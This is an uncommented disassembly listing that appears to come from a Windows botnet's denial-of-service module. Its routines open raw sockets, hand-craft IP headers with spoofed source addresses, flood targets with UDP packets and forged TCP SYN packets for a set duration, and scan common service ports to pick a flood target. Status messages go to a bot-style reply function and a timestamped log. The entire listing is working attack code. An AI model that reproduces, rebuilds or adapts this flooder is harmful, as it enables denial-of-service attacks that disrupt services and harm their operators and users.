var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
Str		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4E42A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_41523C
		lea	eax, [ebp+Dest]
		push	offset asc_44E05C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_415505
; ---------------------------------------------------------------------------

loc_41523C:				; CODE XREF: sub_4151FE+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4E4200	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415268
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		push	offset unk_44E088
		jmp	short loc_415283
; ---------------------------------------------------------------------------

loc_415268:				; CODE XREF: sub_4151FE+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E4260	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415297
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		push	offset asc_44E0D8 ; "-"

loc_415283:				; CODE XREF: sub_4151FE+68j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_415505
; ---------------------------------------------------------------------------

loc_415297:				; CODE XREF: sub_4151FE+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4E4220	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_4F655C	; inet_addr
		mov	esi, ds:dword_4F63B0
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44E11C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_415300
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_208]	; int
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_415300:				; CODE XREF: sub_4151FE+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		cmp	esi, eax
		pop	ecx
		ja	loc_4154BB
		mov	esi, 41Ch
		jmp	short loc_415334
; ---------------------------------------------------------------------------

loc_41532F:				; CODE XREF: sub_4151FE+2B7j
		mov	ebx, 0FFh

loc_415334:				; CODE XREF: sub_4151FE+12Fj
		cmp	dword_4E7A18, edi
		jnz	short loc_41538E
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E41C4	; getsockname
		push	ebx
		push	1
		call	sub_419589
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D_2 ; "%d.%d.%d.%d"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_41539E
; ---------------------------------------------------------------------------

loc_41538E:				; CODE XREF: sub_4151FE+13Cj
		lea	eax, [ebp+var_54]
		push	offset byte_4E73F8 ; Source
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx

loc_41539E:				; CODE XREF: sub_4151FE+18Ej
		push	esi
		mov	byte_4E75F8, 45h
		call	dword_4E4220	; htons
		mov	word_4E75FA, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4E75FC, 1
		mov	word_4E75FE, di
		mov	byte_4E7600, 80h
		mov	byte_4E7601, 11h
		mov	word_4E7602, di
		call	dword_4E4260	; inet_addr
		mov	dword_4E7604, eax
		mov	eax, [ebp+var_20]
		mov	dword_4E7608, eax
		lea	eax, [ebp+arg_84]
		push	eax		; Str
		mov	word_4E7612, di
		call	_atoi
		test	eax, eax
		pop	ecx
		jnz	short loc_415416
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_415424
; ---------------------------------------------------------------------------

loc_415416:				; CODE XREF: sub_4151FE+206j
		lea	eax, [ebp+arg_84]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax

loc_415424:				; CODE XREF: sub_4151FE+216j
		call	dword_4E4220	; htons
		mov	word_4E760E, ax
		call	_rand
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4E760C, dx
		call	dword_4E4220	; htons
		push	400h		; Size
		mov	word_4E7610, ax
		call	_rand
		cdq
		idiv	ebx
		push	edx		; Val
		push	offset dword_4E7614 ; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4E75F8
		push	[ebp+var_C]
		call	dword_4E4284	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_415534
		inc	[ebp+var_4]
		call	ds:dword_4F63B0	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		cmp	ebx, eax
		pop	ecx
		jbe	loc_41532F

loc_4154BB:				; CODE XREF: sub_4151FE+124j
		push	[ebp+var_C]
		call	dword_4E42B8	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+Str]
		push	eax		; Str
		imul	esi, 41Ch
		call	_atoi
		pop	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset asc_44E1E0 ; "-"

loc_4154F6:				; CODE XREF: sub_4151FE+34Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h

loc_415505:				; CODE XREF: sub_4151FE+39j
					; sub_4151FE+94j
		cmp	[ebp+arg_20C], edi
		jnz	short loc_41552D
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_208]	; int
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41552D:				; CODE XREF: sub_4151FE+30Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_415534:				; CODE XREF: sub_4151FE+28Bj
		push	[ebp+var_4]
		push	esi
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_44E154
		jmp	short loc_4154F6
sub_4151FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41554A	proc near		; DATA XREF: sub_401CC7+64B3o

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4E4260	; inet_addr
		push	eax
		call	sub_4156E7
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44E244 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4155DF
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4155DF:				; CODE XREF: sub_41554A+73j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_41554A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155FE	proc near		; CODE XREF: sub_4156E7+191p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_415627
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4F6564	; connect
		jmp	loc_4156E3
; ---------------------------------------------------------------------------

loc_415627:				; CODE XREF: sub_4155FE+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	ds:dword_4F6548	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4E41C8	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4E4208	; select
		test	eax, eax
		jnz	short loc_41568B
		or	eax, 0FFFFFFFFh
		jmp	short loc_4156E3
; ---------------------------------------------------------------------------

loc_41568B:				; CODE XREF: sub_4155FE+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415696

loc_415692:				; CODE XREF: sub_4155FE+B8j
					; sub_4155FE+DCj
		mov	eax, edi
		jmp	short loc_4156E3
; ---------------------------------------------------------------------------

loc_415696:				; CODE XREF: sub_4155FE+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_43B892	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4156B8
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_43B892	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_415692

loc_4156B8:				; CODE XREF: sub_4155FE+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	ds:dword_4F6530	; getsockopt
		cmp	eax, edi
		jz	short loc_415692
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax

loc_4156E3:				; CODE XREF: sub_4155FE+24j
					; sub_4155FE+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4155FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156E7	proc near		; CODE XREF: sub_41554A+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], esi
		call	ds:dword_4F6550	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4E7A88, eax
		call	dword_4E4200	; setsockopt
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx

loc_41582B:				; CODE XREF: sub_4156E7+1BEj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4E4220	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4E42A0	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_4155FE
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4E42B8	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_41589D
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax

loc_41589D:				; CODE XREF: sub_4156E7+1A8j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_41582B
		mov	esi, offset byte_4E7A8C
		push	offset asc_44E270 ; " "
		push	esi		; Dest
		call	_sprintf
		mov	edi, ds:dword_4F63B0
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax

loc_4158D0:				; CODE XREF: sub_4156E7+23Fj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415928
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_415901
		push	eax
		push	esi
		push	offset aSD	; "%s%d	"
		push	esi		; Dest
		mov	[ebp+var_10], eax
		call	_sprintf
		add	esp, 10h
		jmp	short loc_41591B
; ---------------------------------------------------------------------------

loc_415901:				; CODE XREF: sub_4156E7+203j
		push	0FFFFh
		push	ebx
		call	sub_419589
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E4220	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax

loc_41591B:				; CODE XREF: sub_4156E7+218j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_4158D0

loc_415928:				; CODE XREF: sub_4156E7+1FAj
					; sub_4156E7+46Bj
		push	28h		; Size
		push	ebx		; Val
		push	offset byte_4E7A28 ; Dst
		call	_memset
		mov	esi, 0FFFFh
		mov	byte_4E7A28, 45h
		push	esi
		push	400h
		mov	byte_4E7A31, 6
		mov	byte_4E7A29, 8
		call	sub_419589
		add	esp, 14h
		push	eax
		call	dword_4E4220	; htons
		push	28h
		mov	word_4E7A2C, ax
		call	dword_4E4220	; htons
		or	byte_4E7A30, 0FFh
		cmp	dword_4E7A18, ebx
		mov	word_4E7A2A, ax
		mov	word_4E7A2E, bx
		jnz	short loc_415999
		push	[ebp+arg_0]
		call	sub_415B61
		pop	ecx
		jmp	short loc_4159A4
; ---------------------------------------------------------------------------

loc_415999:				; CODE XREF: sub_4156E7+2A5j
		push	offset byte_4E73F8
		call	dword_4E4260	; inet_addr

loc_4159A4:				; CODE XREF: sub_4156E7+2B0j
		mov	dword_4E7A34, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4E7A38, eax
		mov	byte_4E7A49, bl
		call	dword_4E4220	; htons
		push	esi
		push	ebx
		mov	word_4E7A4A, ax
		call	sub_419589
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_419589
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4E421C	; htonl
		mov	dword_4E7A40, eax
		mov	al, byte_4E7A48
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4E7A48, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4E7A44, ebx
		mov	word_4E7A4E, bx
		mov	word_4E7A3E, ax
		mov	dword_4E7A64, edi
		mov	byte_4E7A68, bl
		mov	byte_4E7A69, 6
		call	dword_4E4220	; htons
		mov	word_4E7A6A, ax
		mov	ax, word_4E7A3E
		mov	word_4E7A50, 2
		mov	dword_4E7A54, edi
		mov	word_4E7A52, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_415A5A
; ---------------------------------------------------------------------------

loc_415A55:				; CODE XREF: sub_4156E7+445j
		mov	esi, 0FFFFh

loc_415A5A:				; CODE XREF: sub_4156E7+36Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_415A8E
		push	esi
		push	ebx
		call	sub_419589
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E4220	; htons
		mov	word_4E7A3C, ax
		mov	eax, dword_4E7A34
		mov	dword_4E7A60, eax
		mov	byte_4E7A49, 2
		mov	dword_4E7A44, ebx
		jmp	short loc_415AAD
; ---------------------------------------------------------------------------

loc_415A8E:				; CODE XREF: sub_4156E7+376j
		push	esi
		push	ebx
		mov	byte_4E7A49, 10h
		call	sub_419589
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E4220	; htons
		movzx	eax, ax
		mov	dword_4E7A44, eax

loc_415AAD:				; CODE XREF: sub_4156E7+3A5j
		inc	word_4E7A2C
		inc	dword_4E7A40
		mov	ax, word_4E7A3E
		push	5
		pop	ecx
		mov	esi, offset word_4E7A3C
		mov	edi, offset dword_4E7A6C
		mov	word_4E7A32, bx
		mov	word_4E7A4C, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4E7A28
		mov	word_4E7A52, ax
		push	esi
		call	sub_40B002
		push	20h
		push	offset dword_4E7A60
		mov	word_4E7A32, ax
		call	sub_40B002
		add	esp, 10h
		mov	word_4E7A4C, ax
		push	10h
		push	offset word_4E7A50
		push	ebx
		push	28h
		push	esi
		push	dword_4E7A88
		call	dword_4E4284	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_415A55
		call	ds:dword_4F63B0	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415B57
		push	[ebp+arg_8]
		call	ds:dword_4F6380	; Sleep
		jmp	loc_415928
; ---------------------------------------------------------------------------

loc_415B57:				; CODE XREF: sub_4156E7+460j
		pop	edi
		pop	esi
		mov	eax, offset byte_4E7A8C
		pop	ebx
		leave
		retn
sub_4156E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B61	proc near		; CODE XREF: sub_4156E7+2AAp

arg_0		= dword	ptr  4

		push	0FFFEh
		push	1
		call	sub_419589
		pop	ecx
		pop	ecx
		mov	ecx, [esp+arg_0]
		shl	eax, 10h
		and	ecx, 0FFFFh
		or	eax, ecx
		retn
sub_415B61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415B7F(char *Str2,int)

sub_415B7F	proc near		; CODE XREF: sub_401CC7+7367p

var_4		= dword	ptr -4
Str2		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4563A8
		mov	edi, 0B8h

loc_415B93:				; CODE XREF: sub_415B7F+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415BB6
		push	[ebp+Str2]	; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415BB6
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_456F28
		jl	short loc_415B93
		jmp	short loc_415BF8
; ---------------------------------------------------------------------------

loc_415BB6:				; CODE XREF: sub_415B7F+17j
					; sub_415B7F+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi		; Size
		push	0		; Val
		lea	ebx, dword_4563A8[esi]
		push	ebx		; Dst
		call	_memset
		push	17h		; Count
		push	[ebp+Str2]	; Source
		push	ebx		; Dest
		call	_strncpy
		push	9Fh		; Count
		lea	eax, dword_4563C0[esi]
		push	[ebp+arg_4]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 24h
		inc	dword_440498
		pop	ebx

loc_415BF8:				; CODE XREF: sub_415B7F+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415B7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415BFF(int,char *Str,int)

sub_415BFF	proc near		; CODE XREF: sub_401CC7+28D2p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset dword_44E27C ; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4563A8

loc_415C29:				; CODE XREF: sub_415BFF+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415C64
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_	; "%d. "
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 2Ch

loc_415C64:				; CODE XREF: sub_415BFF+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_456F28
		jl	short loc_415C29
		pop	edi
		pop	esi
		leave
		retn
sub_415BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C77	proc near		; CODE XREF: WinMain(x,x,x,x)+384p
					; WinMain(x,x,x,x)+408p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_4F6438	; GetLocalTime
		mov	ebx, offset byte_4EBE90
		mov	edi, 80h
		mov	esi, offset byte_4E7E90

loc_415C99:				; CODE XREF: sub_415C77+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415CB0
		push	7Fh		; Count
		lea	eax, [ebx+80h]
		push	ebx		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_415CB0:				; CODE XREF: sub_415C77+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415C99
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415C77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415CEB(char *Format,char Args)

sub_415CEB	proc near		; CODE XREF: sub_4019E7+F7p
					; sub_401CC7:loc_408DB7p ...

Dest		= byte ptr -80h
Format		= dword	ptr  8
Args		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	80h		; Count
		push	eax		; Dest
		call	__vsnprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 14h
		leave
		retn
sub_415CEB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+14h], ebx
		push	esi
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], ebx
		jnz	short loc_415D46
		push	ebx
		push	dword ptr [ebp+10h]
		push	offset dword_44E2C8
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_409D6C
		add	esp, 14h

loc_415D46:				; CODE XREF: .text:00415D2Dj
		cmp	[ebp+18h], ebx
		jz	short loc_415D5E
		push	dword ptr [ebp+18h]
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415D5E
		mov	[ebp-8], eax

loc_415D5E:				; CODE XREF: .text:00415D49j
					; .text:00415D59j
		mov	[ebp+14h], ebx
		mov	esi, offset byte_4E7E90

loc_415D66:				; CODE XREF: .text:00415DAEj
		mov	eax, [ebp+14h]
		cmp	eax, [ebp-8]
		jge	short loc_415DB0
		cmp	[esi], bl
		jz	short loc_415D9F
		cmp	[ebp+18h], ebx
		jz	short loc_415D8B
		cmp	[ebp-4], ebx
		jnz	short loc_415D8B
		push	dword ptr [ebp+18h]
		push	esi
		call	sub_418DD7
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415D9F

loc_415D8B:				; CODE XREF: .text:00415D75j
					; .text:00415D7Aj
		push	1
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_409D6C
		add	esp, 14h

loc_415D9F:				; CODE XREF: .text:00415D70j
					; .text:00415D89j
		inc	dword ptr [ebp+14h]
		add	esi, 80h
		cmp	esi, offset byte_4EBE90
		jl	short loc_415D66

loc_415DB0:				; CODE XREF: .text:00415D6Cj
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================


